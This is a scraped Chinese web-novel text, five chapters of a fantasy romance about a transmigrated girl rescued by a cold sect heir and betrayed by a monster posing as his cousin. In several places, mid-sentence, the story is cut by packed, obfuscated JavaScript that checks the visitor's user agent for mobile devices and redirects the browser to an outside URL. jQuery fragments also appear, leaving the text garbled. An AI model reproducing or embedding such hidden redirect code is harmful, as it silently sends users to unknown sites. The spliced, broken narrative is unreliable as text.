《放弃暗恋偏执男死遁后》 1. 是他吗 “咔嚓!”密林遮天蔽日,静谧无声,一双灰白布鞋踩在枯枝烂叶上,声音格外清晰。 阿凰被自己发出的动静吓得一激灵,盯着四周大气都不敢出,生怕惊扰了林子深处的妖魔。 若不是为了进入仙门修行,她一个平平无奇的穿越女,此时应该在四海为家,而不是冒着生命危险,在这个抬头见不到天空的密林之中找死。 住在她意识里的人非要她来试试,只要拿到魔丹,就能得到天下第一仙门——紫微派的入门资格。 望向黑不见底的林子里,阿凰要求不高地想,要是运气好,进入仙门有稳定的生活,学点仙术强身健体就行了,反正她身子不好。 还在想以她的实力,得到魔丹和活着出去两件事能不能同时进行,她脚下猝不及防一滑,屁股狠狠砸在地上,腰也有断裂的迹象,天旋地转间,她整个人飞快向下滚去。 她努力想抓住一点草或树枝缓冲一下,可是下滑的速度让她什么也抓不住,滚了不知道多少圈后,终于停下来了。 缓好久她才缓过神来,手肘撑地打算起身,因为手掌已经被划破了,火辣辣的疼。 刚抬头,阿凰就听到粗重的呼吸声,像是一头大型野兽在喷气,等她看清面前是什么东西时,浑身寒毛瞬间炸立。 那是一头房子一样大的野兽,浑身长毛覆盖,露出一双绿幽幽的眼睛盯得人浑身发毛,头上还顶着一对水牛角。 一股阴寒之气攀附上背后,阿凰知道这是个魔幻世界,可她哪里见过这阵仗,一时之间愣住。 那头野兽用眼睛盯住她,她这才回了神,手忙脚乱掏出一只玉笛吹起来。 乐声附带了灵力,好似拥有抚平一切的能力,野兽安静下来,连远处的兽鸣也暂时停止。 趁此机会,阿凰一边吹一边后撤,找准时机,求生意识使她迅速做出决定,调头就跑! 那野兽不但个头大,移速也快,每一步踏在地上都像地震,阿凰的行动都被影响了。 “夜月姬,救一下啊!”她在脑海里呼唤附身了自己的人,可是对方毫无反应。 不得已,她只能飞上一棵巨树,野兽停在树下抬头望着她,让她觉得无比诡异。 这东西好像有了人的意识?透过那双眼睛,她觉得它似乎在谋划怎么把她弄下去。 趁着这一瞬的喘息机会,阿凰大口喘气,心口绞痛又缺氧,差点一口气没上来嘎过去,待恢复过来,她内心庆幸,夜月姬附身脑海后教了她一点法术。 还没等她想出对策,树下的野兽忽然用牛角撞击树干,她差点被晃得掉下去,抱住树身才保命,可这棵树也撑不了多久,野兽再撞几下树就倒了。 她看准远处的另一棵树,调整姿势飞身过去,底下的野兽后脚就跟上来,比刚刚还卖力,两三下就把树干撞断,阿凰来不及喘口气又得转移阵地。 一人一兽来回搏斗许久,树都被摧毁了十几棵,阿凰本就修为低身子弱,就快撑不住了,野兽眼看目的达到,瞧准时机,在阿凰转移阵地的瞬间拼尽全力撞上去,她还没抓稳就被迫甩出去,狂风呼呼在耳边刮过。 失去意识前,阿凰只觉得自己命苦。 在此之前,她只是一个女大学生,从小父母双亡寄人篱下,长大后边上学边挣钱养活自己,因为外形条件不错迅速成了舞见唱见双修的小网红。 某天被仇人推下河,醒来她就穿越了,这一世更命苦,别说金手指,连父母都没有,身为孤儿被一家人收养做童养媳,被算命的说以后会成为红颜祸水,养父母嫌晦气赶紧将她送走了。 之后便是被附身的事,从此她脸上就多出一块巨大的紫色胎记,声音也变得沙哑难听,前世那些优点如今仅剩下身材这一点,她反而很乐观,没有自保能力,拥有美貌可是一件很危险的事。 可如今看来,没有美貌也不见得就不危险。 …… “这里有个人!” 不知过了多久,一抹紫色衣角出现在阿凰身边,女子看着受伤昏迷的她发出惊呼,惊讶是因为在此发现一个人,其次就是看到阿凰脸上的紫色胎记,实在太有存在感。 试探出阿凰还有气息,紫衣女子起身招呼同伴道:“表哥,她还活着。” 巨树笼罩的阴影中走出一名男子,面上本就无甚感情,锋利的面部线条使他看起来更为冷淡。 他垂眸看了地上的阿凰一眼,女子猜不透他的想法,询问道:“既然她还活着,先带出去救救她吧?” “出发前我说的话你都忘了?”男子只是淡淡反问,女子便闭嘴了。 “此人修为甚浅,胆敢孤身前来,和自寻死路无异,也算是为自己的无知付出代价,下辈子再长点记性,我们还有更重要的事,莫管旁人。”男子半蹲下来探出阿凰的灵力,说,“来到这里的人都有同一个目的,多一事不如少一事,你想让我多一个对手?” 女子低头,声音变小了:“不是的……对不起,是我莽撞了。” 男子率先转身而去,女子犹豫不去,多看了阿凰两眼,忽然喊道:“等等,表哥,你看。” 她从阿凰腰下拿出被压着的玉笛,说:“这笛子上有微弱的灵力,方才我们听到一阵笛声,那些妖兽随之安静下来,应该就是她吹的。” 男子拿过玉笛沉默不语,女子继续道:“是不是她吹的,等她醒来就知道了,若真是如此,既然有安抚妖兽的能力,我们与之合作岂不是事半功倍?” 他没有说话,便是默许了,女子施展治疗术,不多时阿凰缓缓醒来。 “你没事吧?我们发现你晕倒在这儿,便顺手将你救起来。” 被身边的女子扶起来,阿凰还有点迷糊,看向她道:“是你们救了我?多谢了。” 随后抬头看着一旁沉默的男子,他背光而立,身形挺拔,正处于少年与青年之间的界限,脸上的表情隐在黑暗之中,看不真切,对上他的目光,阿凰一瞬间怔愣住了。 他……他怎么会在这里?他怎么也穿越了? 阿凰忽然想起来什么,迅速低下头去,想掩盖自己脸上巨大的紫色胎记。 太丑陋了,太显眼了,为什么偏偏是这种时候被他看到她这个模样…… “你怎么一个人在这里?你是来取魔丹的吧?” 女子的声音将阿凰的意识拉回,她下意识点头:“是的,我没有同伴,就只能一个人来了。” “不过,你的声音怎么了?”女子以为她嗓子受伤了,问。 不知为何,被附身这么多年,嗓子沙哑难听了这么久,阿凰都没觉得有什么,可是现在,她却因为自己声音难听感到有些尴尬,被人这么一问,她耳朵都热了,下意识偷偷瞥一眼那男子,他没什么反应。 “我……生了一场病之后嗓子就坏掉了。”阿凰声音小了很多。 “原来如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想起来之前的遭遇,阿凰说:“我晕倒前遇到了一头野兽,像房子一样大,浑身长毛,头上长了一对牛角,我被它追逐体力不支最后被撞飞了,它不会找了同伴来追杀我吧……” “难为你还能好好的。”独孤槿又同情地看着她,“放心,表哥很厉害的,你看我们一路无伤走到这里就知道了,再不济我们三个齐心协力总会有办法。” 此时暗处的东西好似发现了他们,脚步声越来越近。 独孤凤渊望向枝头,说:“先上去。” 迎上他们的目光,阿凰道:“我没事,我能自己上去的。” 说着咬牙飞身上树,背后的伤还在隐隐作痛,可是她不想被看出来,不想成为累赘,人家好心拉她当同伴,她不想被抛弃。 独孤槿也飞到了她身边,独孤凤渊看着两个女孩都到达安全位置,最后才轻松飞上来。 三个人观察下方,果真见到两头野兽,阿凰还有些后怕:“就是它,之前袭击我的野兽就长这样,个子这么大跑得可快了。” “这是长鬃青牛兽,一般成群出现,这附近肯定有它的族群,需尽快解决,它们移速快但听力不灵敏,这便是突破点。”独孤凤渊解释道。 他转过头来看着阿凰:“我需要你独自吹曲吸引它们注意,我们会抓住时机出手。” 也就是说,要她当诱饵。 2. 凌霄宗少主 突然被委以重任,阿凰有点迷茫,她连自保的能力都不够,却要吸引怪物注意,只能祈祷自己多坚持一会儿,他们出手快些。 眼看着长鬃青牛兽越来越近,阿凰跳到一块巨石上,大声朝那两头巨兽喊:“喂!笨牛!我在这里!你是不是不服气啊,还敢找同伴来抓我?等我抓住你们片成肥牛火锅,一身皮毛扒下来当被子盖。” 两头巨兽用鼻孔喷气,死死盯着她,后肢在地上扒拉两下便加速冲过来,她扭头便跑,刻意将它们引向某个方向。 希望他们的陷阱布置好了。 带着两头巨兽兜了一个大圈子,阿凰开始体力不支,痛恨自己身体这么虚,好在此时另一边终于发出信号,她便引着巨兽过去。 地势向下凹去,两头巨兽被引入其中,阿凰跃上枝头,掏出玉笛吹奏曲子,两头野兽缓缓被安抚下来。 地上的阵法被激发,发出刺眼的光芒,此时阿凰的曲子也失去了作用。 那两头野兽发现它们被困住,用壮硕的身躯撞击阵法却毫无作用,便四足稳稳扎在地上,深吸一口气,吐出震撼天地的怒吼。 阿凰被吼得耳朵痛,双手堵住耳朵,被巨大的冲击波从树上冲下来。 正当她以为自己又要狠狠摔在地上,脑子里在想用什么姿势落地才能相对不那么痛时,一双手拖住了她的腰身,一丝淡淡的冷香萦绕在鼻尖,连胸膛的温度似乎都比正常的体温还低。 下意识抬头看去,她只看到线条锋利的下巴,一双薄唇紧紧抿着,绣有银丝暗纹的衣领贴合在他脖子上。 阿凰不由得在内心感慨,这身衣服穿在他身上真的很合身。 下一刻她就被独孤凤渊交给独孤槿扶着,他马不停蹄向阵法而去,那两头野兽还在垂死挣扎。 阿凰就看到他手上做了一套动作,花里胡哨的根本看不清,没多久两头巨兽就轰然倒塌,漫天灰尘滚滚。 灰尘散去后,地上只留下两颗乒乓球大小紫色圆球,独孤凤渊摊开手掌,圆球自动飞到他掌心。 “这就……结束了?”阿凰有点不可思议,那巨大的野牛怪差点轻而易举地弄死她,可是独孤凤渊动动手就拿到了它们的魔丹? 一只指骨分明的手掌伸过来,魔丹躺在其上发出淡淡的光芒,独孤凤渊启唇道:“收好吧,这对你来说得而不易。” 阿凰伸手接过魔丹,不小心轻轻碰到了他的手,被烫到了似的迅速拿了魔丹收回手:“谢谢……还好有你们。” 他没什么表示,只说:“此地不宜久留,速速离去吧。” 离开林子,到了外面是完全不同的景色,阿凰深吸一口气,恍若得到了重生。 真是个危机四伏的地方,要不是遇到这两个人,她也许真的会丧命于此。 意识里的夜月姬也太不靠谱了,她遇到危险好几次都没出来指点一番。想来也合理,谁叫那人自己都顾不上呢。 “我们要去紫微派,接下来你有什么打算?还是继续和我们同行?”独孤槿问。 之前邀请阿凰想和她合作是一方面,其次是看她这么弱小的女子孤身一人,她有点感同身受了,在听了阿凰的经历后对她更多出一些同情。 表哥不喜欢她多管闲事,她便想着,好人做到底,大不了平安到了紫微派以后再不管这些闲事就是。 “要是没有你们,我估计已经丧命妖兽之下了,我想和你们一路同行。”阿凰看了看独孤凤渊,鼓起勇气说,“可以吗?” 没想到独孤凤渊只是看了她一眼,说:“你的根骨不适合修仙,即便到了紫微派,也有可能因为没有仙缘不得入门。” 她愣住了,虽然以前就有人说她身体底子差,不适合修仙,能健康长大已是万幸,可被他这么直白地点出,一时还是有点难以消化,甚至生出一种无地自容来。 她有自知之明的,没妄想成仙,只是想着,身体不好就学点保命的本事,多活几年,也没想过要高攀紫微派这么厉害的地方,只是有人告诉她,她必须去。 “表哥,你就不能委婉点……”独孤槿尴尬地扫了一眼阿凰的脸色,压低声音说。 独孤凤渊神色淡然,确实没有讥讽之色:“我没有故意针对谁的意思,只是实话实说。” “凡事没有绝对嘛,万一呢,不试试怎么知道?”独孤槿道。 阿凰低着头,坚持道:“即便没有可能,我也想试试。” “她也有自己的本领,而且修行之路本就艰苦,路上多一个人多一个照应。”独孤槿继续劝说,“表哥你不觉得无聊吗?多一个人聊天解闷多好,我觉得我和阿凰一见如故,就此分开以后就见不到了,就算她进不了紫微派,一路同行的情谊也是值得回忆的,她一个人我也不放心。” “你还关心起别人的安危来了,自己都是个三脚猫功夫。”独孤凤渊终于露出一丝无奈道,“随你们吧,我又没说不可以。” 他率先飞身而去,阿凰紧随着独孤槿升空,两个女孩保持距离跟在他身后,独孤槿悄悄安慰道:“表哥说的话你不必放在心上,他这人说话就这样,我小时候也经常被他气哭,其实他没什么恶意的,你不爱听以后忽视他就是。” “没关系,我不觉得有什么的。”阿凰实话实说。 比起以前的遭遇,独孤凤渊的话对她来说算不得什么,况且他也确实没恶意,心直口快罢了。 相处下来阿凰明白了一件事,第一次见到独孤凤渊,他长得和以前她暗恋了三年的学长一模一样,一瞬间她还以为学长也穿越了,可是现在她很确定,独孤凤渊不是学长,两个人除了长相相似,性格上却是天差地别。 印象里的学长好像没有负面情绪,总是温和待人,才吸引了她默默关注三年。可是独孤凤渊……她不了解这个人,只觉得他好像对任何事物都是淡淡的反应,没什么兴趣,冷漠倒也说不上,否则他也不会救她,不会默许她同行。 虽然都是差不多的年纪,可独孤凤渊总是一副令人看不透的样子。 阿凰和独孤槿修为较弱,无法长途跋涉,前行一段时间就得暂作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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迎着她疑惑的目光,独孤槿继续说:“就是清音门的千金啊,门主夫妇最宠爱的大女儿,顾纯儿,人称妙音仙子,有一口好嗓子,据说是人见人爱,蜜糖一般的女子,清音门主夫妇本就是天人一双,生下的女儿肯定也是仙女。” 阿凰依然满眼懵懂,四海为家这些年,天下之大,她也无法听说远在天边的事。 “我和你说这个干什么,你肯定也没听说过。”独孤槿似乎很可惜,“我也很好奇,那位小师妹到底是何等的美若天仙?” 说得阿凰都有些好奇了,顾纯儿,听起来是一个单纯善良的甜妹。 她无意间看向前方,正好看到独孤凤渊前行的速度慢了一些,还稍微侧过头来看着她们。 他居然对这些话题感兴趣吗?或者说他嫌她们飞得太慢了? 独孤凤渊却若无其事地转回去:“莫要妄议他人,好好赶你们的路。” 听起来好像真的有点不高兴了。 阿凰和独孤槿对视一眼加快了速度。 3. 受伤 落在小镇时离天黑还早,独孤凤渊找了家客栈歇脚。 他倒是可以赶夜路,只是两个女孩修为低弱,夜间寒凉且危险,不差这一时。 订房间时独孤槿挽上阿凰的手臂:“就不必订三间客房了吧,我和阿凰同屋就行,正好一起聊聊天解闷。” 拿到房间钥匙,查看完房间,独孤槿又挽上阿凰的手臂要下楼去:“忙了这么久你饿不饿?” 阿凰摸摸肚子,确实有点饿了,之前一直忙着都忘了。 “表哥可以十天半个月不吃不喝,可是我们不一样,我撑三天就不行了,而且人生在世,有美食不享受岂不可惜?” 被独孤槿带着走下楼梯时,阿凰扭头看了独孤凤渊的房间一眼,房门紧闭着。 这一路一直受他们照料,尤其是独孤槿,同为女子她对自己已经很细心了,所以点菜时阿凰没好意思点,看独孤槿不高兴她才点了几样菜,不料两人的口味十分相似,就连饭后吃甜点的习惯也一样。 独孤槿直呼相见恨晚,拉着阿凰出门玩,回客栈前买了文房四宝。 看她在案上作画,阿凰跃跃欲试,她惊奇:“你也会作画吗?” “这些年四处游历,我有时也会画点东西解闷。” 其实她有许多小爱好,只是没什么资金培养,东学一点西学一点,艺术这些东西,就是看自己的审美玩的。 独孤槿便让出位置:“正好我在犹豫这块画点什么,你试试。” 待阿凰停下手,独孤槿拿起她作的画,连连赞叹:“青绿山水,松石飞鹤,完全就是我喜欢的样子!” 直到夜里躺下来,独孤槿还在疑惑:“你真的只是乡野姑娘吗?我看你既通音律,作画也不输名家,通身的涵养可不像一般人。” “尤其这肌肤,白嫩得跟什么似的。”她轻轻一捏阿凰的手臂,立刻留下一个红印子,“倒像娇生惯养的千金小姐,这一头乌黑茂密的头发,这么柔顺这么直,真的没有保养过吗?” 阿凰摇摇头。从小到大被人家夸这些,她早就习惯了,以前有人调侃过她是黑长直,可以当日漫女主了。 她倒希望自己是什么落魄千金,但很可惜,她就是一个普通人。 两人躺在一张床上,独孤槿侧躺着看她惋惜道:“你的嗓子我没办法,不过你的脸……我听说有一种药可以去除人身上的胎记,紫微派乃天下第一大派,到时候兴许有法子?” “一切随缘吧。”阿凰只说。 她很清楚,自己的脸和声音不是靠外力就能恢复的。 聊了大半夜,独孤槿好像因为这些日子跟着独孤凤渊闷了太久,好不容易找到一个人能放开了聊,话题滔滔不绝。 至少这一路上的经历让阿凰觉得独孤槿是自己的好姐妹了,时而偷偷聊到独孤凤渊,时而分享心事和共同爱好,一个晚上,只要志同道合能聊的东西就很多,女孩子的友谊就是这么简单。 阿凰没能高兴太久,因为第二天醒来她发现独孤槿不见了,而她自己也睡过头了。 出房门一看,独孤凤渊已经衣冠整齐地等候着,阿凰有点心虚:“你有看到阿槿吗?” 短短的时间内,阿凰和独孤槿就已经姐妹相称,互唤小名了。 他眉头一挑:“你们一整晚在一起,倒来问我?” 说罢也顾不得别的,径直进了房间,查看一番一无所获,他原地沉默不知道在想什么。 阿凰的心噗通直跳,手心微微沁出汗,不知为何,此刻在他面前她就是心虚了,明明自己什么也没做。 大概是因为,他的表妹跟她在一个房间,同吃同住一整晚,形同姐妹,可是她却把他表妹弄丢了。 人影一动带起一阵风,阿凰回过神时独孤凤渊已经出门去,她赶紧跟上。 不知跑了多远,中途好几次阿凰差点跟丢了,独孤凤渊突然停下,施展起她看不懂的手势。 “你不用跟来。”话音刚落独孤凤渊就自己跑向另一边。 阿凰原地站了一会儿,好像站在没有指示牌的十字路口迷失了方向,觉得回去也不知道干嘛,她心中存着愧疚,心想哪怕找到一丝线索也好。 他说的话明明平平无奇,她却像被指责了一样,很慌乱,脑子里一团乱麻。 无头苍蝇般到处乱找了很久,累得口干舌燥了,她都不想回去。 “救……救我……” 耳边捕捉到微弱的声音,阿凰眼前一亮,循着声音来源跑过去。 独孤槿倒在泥土里,头发乱糟糟的,衣服也被划破了几处,伤口往外渗透着血丝,像是刚经历了一场打斗。 “你怎么了!”阿凰冲过去要把她扶起来,她却发出惨叫。 “别动!我的腿!” 她的左腿一动不动,似乎碰一下就能要了她的命。 “那怎么办?” “你去附近找找看,有没有树枝和藤条。” 阿凰照做,在独孤槿的指挥下给她左腿做了简单的处理,扛着她艰难地往回走。 刚刚忙着,阿凰现在终于有空问了:“发生了什么?谁伤的你?” “我醒来就在一个山洞里,有个丑陋的妖怪盯着我流口水,说要我做它娘子,我好不容易打晕它跑出来,不小心把腿摔伤了。”独孤槿带着哭腔说,阿凰赶忙安慰她。 走了一段路,看阿凰走得费劲,独孤槿说:“要不你先别管我了,把我放下来,回去找表哥来接我吧,我在这儿等着。” 听了她的经历阿凰还怎么放心扔下她一个人,况且她还受了这么重的伤,便说:“我不放心你自己留下,我还有力气的,我一定带你回去。” “你真好!” 远处落下来一道身影,抬头一看是独孤凤渊,阿凰顿时感觉身上都轻了。 她还没开口喊,独孤凤渊就看到了她们。 “怎么伤成这样?”一落地,独孤凤渊便要查看独孤槿的伤,可她却浑身一激灵躲起来。 “我的腿好痛……”独孤槿低着头。 阿凰简单扼要交代了事情经过,独孤凤渊却很平静,冷冷盯着独孤槿:“你腿痛缩手做什么?” 独孤槿瑟缩得更厉害了,事到如今他还是这个态度,阿凰心里有点不高兴,同情起独孤槿来,他对她这个外人不爽也就算了,怎么对一路陪着自己的表妹也这样? “她都伤成这样了,你能不能先别凶她?”虽然心里不高兴,阿凰也只敢用请求的语气说。 独孤凤渊眼神一扫过来,阿凰只能低头不看他。 明明她们都没做错什么,他干嘛这个气势。 “你那么可怜她,就由你自己照顾她吧。” 阿凰搞不懂了,他突然犯什么病? “有什么事能不能先让她治好伤再说……”阿凰还在试图讲道理。 独孤凤渊却冷笑一声,这是阿凰第一次见到他笑,没想到是在这个情形中,这种笑。 “哦?你真想救她?” 这话说得阿凰更莫名其妙了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“有这种药草,你和我说就是了啊!”阿凰惊喜道,“寻常人没有仙法傍身,我还是可以前去一探的,你的腿有救了。” 独孤槿却抗拒道:“你已经为我辛苦很多了,我不想你再孤身犯险。” “友谊是互相付出的,你对我好,我也想对你好。”阿凰注视着她,眸中的诚恳如宝石明亮,刺目令人不敢直视,“你的腿总不能不治吧?我们还要赶路去紫微派,独孤凤渊等急了会不会扔下我们……对,我去求他救你!” 独孤槿拉住她的手:“别去!我怕表哥嫌我麻烦把我赶回去……” 她没法子了,眼看着独孤槿抓着腿,伤口又在作痛,她心中毅然决定,天一亮就找店小二问路出发。 次日独孤槿醒来,原本阿凰躺着的位置早就收拾整齐空无一人。 有人在敲门,她用虚弱的声音说:“门没锁,请进吧。” 推门而入的是独孤凤渊,他的视线在屋内一扫,眉头微皱:“她人呢?” “你说阿凰?她去给我采药了。” “采什么药?去哪里采药?” “这我就不知道了,你自己去找啊,表哥。”独孤槿向后懒懒一靠。 “别叫我表哥,恶心。” 独孤槿闷声笑着:“没想到你更关心一个刚认识的女人,连你表妹都不管了?那么无情地要抛弃我,太令人寒心了。” 独孤凤渊似乎失去了耐心,径直走到床前,居高临下看着她:“真正的独孤槿在哪?阿凰被你骗到什么地方去了?” “这就看出来了?好没意思。” “拙劣的手段。”独孤凤渊伸手掐住假独孤槿的脖子,“我以为你会聪明点,等到获取信任再出手,没想到这就耐不住性子?最后再问你,她们在哪?” 假独孤槿挣扎着吸气:“有本事你就杀了我,这样你就一个都见不到。” “真有骨气,既然你这么不怕死,就让你给她们陪葬吧。” 4. 他的怀抱 跟着店小二指出的路线一路前行许久,在阿凰感觉体力要耗尽的时候,终于看到远处有一颗发光的树。 回忆起在客栈里和店小二对话的场景,阿凰有点疑惑,他既然没来过这里采药,又是怎么知道得那么清楚呢?而且那时候店小二神情看起来有点怪怪的。 不管了,来都来了,先把药采回去再说。 刚落地,阿凰就感觉哪里不太对劲,心里涌上不详的预感,她只能小心翼翼地走到那棵树下,按照记忆中的样子低头寻找药草,可是找了半天,哪有什么药草? 正当她直起身,想休息一下再继续找,此时脚底下的泥土好像松了一块,她低头看去,脚下的土地以肉眼可见的速度迅速皲裂,以她为中心向四周蔓延开,漫天灰尘滚动,幸好她飞到树上,否则后果不堪设想。 往树下看去时,底下已经彻底坍塌,形成一个空洞,深不见底。 难怪说一般人来不了这里,确实危机四伏。 望着坍塌的一片废墟,阿凰心中涌上一阵疲惫。 来不及思考,她鼻尖嗅到一股奇特的香味,越发浓郁,很快她整个人就昏昏沉沉的,脱力从树枝上掉下去。 身子感受到明显的一顿,她被数条藤蔓缠住,还有藤蔓源源不断地从树上爬过来,紧紧缠绕在她身上,缠得她快呼吸不上来。 而那股气味还充斥在她鼻腔里,越来越浓,越闻越晕,她怀疑今天真的要寄了,不是被晕死就是被藤蔓绞死的。 怎么活了两世都是短命鬼啊…… 意识越来越模糊,阿凰却一点害怕的情绪都没有,好像是香味的魔力,让人连恐惧都忘了,心甘情愿地死在其中…… 一道男子的身影落在远处,狂风呼啸着掠过他身边,衣袂翩翩飞,衬得他身形越发高挑精瘦。 他拧眉看一眼地上巨大的空洞,抬头望向那棵树,看见了被藤蔓吊着的阿凰,飞身过去,半途却被一股力量挡回来。 独孤凤渊扔出一个收妖宝囊,一个黑影被丢出来,佝偻着身子跪在地上,颤颤巍巍的,竟是之前伪装成独孤槿的怪物,此时原形毕露,丑陋无比。 “解去阵法。”独孤凤渊命令道。 怪物抬头看向那棵树,一开口竟分不清是男女老少的声音:“我只是设计了陷阱引她进去,阵法是这里本来就有的,我无力解开……” 说完话没听到声音,怪物疑惑抬头,却看到独孤凤渊抬起右手,张开手掌,一团蓝色火焰在他掌心燃烧,怪物顿时惊恐万分,连连后退,却已经无处可去。 又是这恐怖的火焰! 之前它还能嘴硬,想着拼死一搏,反正也被抓住了,可它还是太低估了这个人,不仅能力完全远远超出它的意料,心理素质也远超常人,仅仅被他用这火焰烧过一遍,它就承受不住折磨赶紧招了。 怪物的反应让独孤凤渊很满意,他兀的笑了,笑得怪物毛骨悚然,跪地求饶。 他没有折磨人的癖好,只是喜欢看到不自量力的跳梁小丑得意洋洋后,被击破心理防线崩溃的样子。 这怪物哪里知道,他手里的这团火焰乃是取自凌霄宗独有的极寒禁地,以地心千年玄冰炼制而成,名为极寒玄火,任何妖兽都无法承受,所以许多外界的人都对凌霄宗虎视眈眈。 而他又是极罕见的纯阳之体,正好驾驭极寒玄火,若没有体内的纯阳之气,强行吸收极寒玄火只会被反噬。 怪物的声音吵得独孤凤渊心生烦躁,他一挥手,极寒玄火飞出掌心落在怪物身上,一瞬间就燃起熊熊大火,把怪物整个身躯吞噬在蓝色火焰之中,惨叫声不绝于耳。 既然这怪物没了作用,除去就是。 独孤凤渊重新看向阿凰的方向,观察那阵法片刻,专心施展起术法来。 半柱香的功夫过去,阵法终于彻底消散,独孤凤渊飞身上前,抬手一挥,缠在阿凰身上的藤蔓尽数被砍断,她从树上掉下来。 独孤凤渊伸出双臂轻松接住她,心里莫名冒出一瞬的疑惑:怎么这么轻? 然而下一刻,他神色凝重起来,怀里的少女竟然无一丝体温,整个人像一块天然的冰块,自发的往外散发出一阵阵寒气。 用手触碰阿凰露在外面的肌肤,刚一触及他的手就被冻得撤回去,她身上也留下红印,他疑惑,难道女子的身体就这么容易留下印记? 这才片刻之间,阿凰身上冒出来的寒气就冻得人受不了,独孤凤渊准备把她放在地上,却身上一紧,她紧紧抱住了他,昏迷中的她下意识寻找温暖的源头,还一个劲往他怀里钻。 他甚至能闻到她身上淡淡的药草清香,说不出是什么药的气味,只觉得不刺鼻,很耐闻。 僵住片刻,他只用了点力气就把少女从怀里摘出去,放在地上,施展术法尝试为她去除寒气。 尝试几遍效果微弱,随着时间的推移,阿凰身上的寒霜越来越多,有要把身体冻起来的迹象,独孤凤渊怀疑再拖下去她就要变成冰块了。 这时他明白了那只怪物为何盯上阿凰,它说阿凰体质特殊,原来是这个样子的特殊。 他猜测阿凰的症状并非阵法导致,而是她本就体质特殊,阵法只是诱发了她的症状。 思及此,独孤凤渊改变思路,用另一种方法救治。 他本就是纯阳之体,向阿凰体内输送纯阳之气去除寒气即可。 “阿凰,醒醒。” 意识模糊间,阿凰听到有人在呼唤,那声音一会儿像独孤凤渊,一会儿又像夜月姬。 慢慢的,她的意识开始一点点恢复。 “小丫头,还不打算醒来吗?” 这下听清楚了,是夜月姬的声音,阿凰抱怨道:“你还好意思说,早干嘛去了?好几次我差点就死了,你也不出来救一下,我死了你难道就好过吗?” “你也知道咱家条件不好,这不是能量不够嘛,有时候我也被迫陷入沉睡,等你进了紫微派,那里灵力充沛,我也能跟着恢复一些。”夜月姬语气一派慵懒,这时候她还有心情说胡话,自从她住在阿凰的意识中,共享了一些记忆,就学了一堆有的没的。 “那你现在这是?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126048|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你没发现你晕过去了吗?” 经她一提醒,阿凰想起之前发生的事。 “快醒来吧,再晚点你的身体就冻坏了。”夜月姬说着打了个哈欠,“我又没能量了,先关机了……” 随着夜月姬声音散去,阿凰眼前一点点亮起来,最后光线变得很刺眼,睁开眼的瞬间她下意识用手遮光。 “醒了?” 平淡的语气从头上传来,阿凰慢慢睁开眼,适应了光线,才看到独孤凤渊盘坐在身侧。 知道是他救了自己,阿凰一边道谢一边站起来:“我没事了,谢谢,我们先回去吧,阿槿她……” 又被他救了一次,不知道他会不会嫌她麻烦。 刚站起来,一阵眩晕袭来,她整个人不受控制地倒下,又失去意识了。 独孤凤渊看着地上昏死的少女,有点无奈,把她抱起来往回走。 硬撑什么呢?明明那么脆弱。 不知过了多久,阿凰听到耳边有风呼呼吹过,意识到自己醒来了。 缓缓睁眼,她发现自己被独孤凤渊抱在怀里,正在往回赶。 她迅速闭上眼,心脏扑通扑通乱跳,明明风声很大,心跳声却那么清晰,她像是做贼心虚,怕那么大的心跳声被听到。 他应该……没发现她醒了吧? 独孤凤渊似乎没发现什么,只是直视前方飞行赶路。 她只是太累了,身上的伤还没好,与其自己赶回去慢吞吞的,还不如搭个顺风车,就一次…… 此刻阿凰感到无比轻松,暗自松了一口气,控制不住想笑出来。 好奇怪,四肢酥酥软软的,使不上力气了,有一股令她喜悦的气息堵在心口,又涌向全身。 他的衣服好柔软啊,宗门少主穿的跟别人就是不一样。 直到回到小镇,阿凰才假装悠悠醒来,自己下地走路。 亲眼看到独孤槿平安无事的那一刻,她才彻底放心。 看到她气血不太好,独孤槿关切道:“发生了什么事?你有没有受伤?” 听完她概括,独孤槿道:“我一醒来就在镇子外的山洞里,表哥找到了我,把我送回来又走了,原来发生了这样的事,好狡猾的怪物。” 阿凰茫然地想,要是独孤凤渊来得再晚一些,她会不会就死了? “那怪物盯上阿凰,是因为她体质特殊,想抓走分离灵魂与躯体,加之炼化,做成新的躯体供它使用。”独孤凤渊解释道。 各自对了下信息,阿凰面上发烫,后知后觉之前的自己多无知,那怪物的伪装漏洞百出,她居然轻信了,还误会了独孤凤渊。 说不定见到怪物的第一眼,他就识破了它的伪装,怪不得表现得那么异常。 “对不起,之前是我误会了你……”阿凰说着,感觉耳朵都热了,“也再次感谢你救了我。” 独孤凤渊没什么表示,依然是淡淡的态度,好像被她误会了也无所谓,对于她的道歉也不在乎。 “我们在这里已经浪费了太多时间,抓紧上路吧。” 5. 团宠 几番日月轮替后,三人进入一处地界,阿凰明显感觉到这里比别处繁华。 “进入紫微派的地界了,注意自己的言行举止。”独孤凤渊提醒道。 远远望去,阿凰能看见下方隐在云雾里的建筑群,一眼望去金色的屋顶金碧辉煌,好像有光芒万丈从那边照射而来,一派豪气,光是看着就很震撼了。 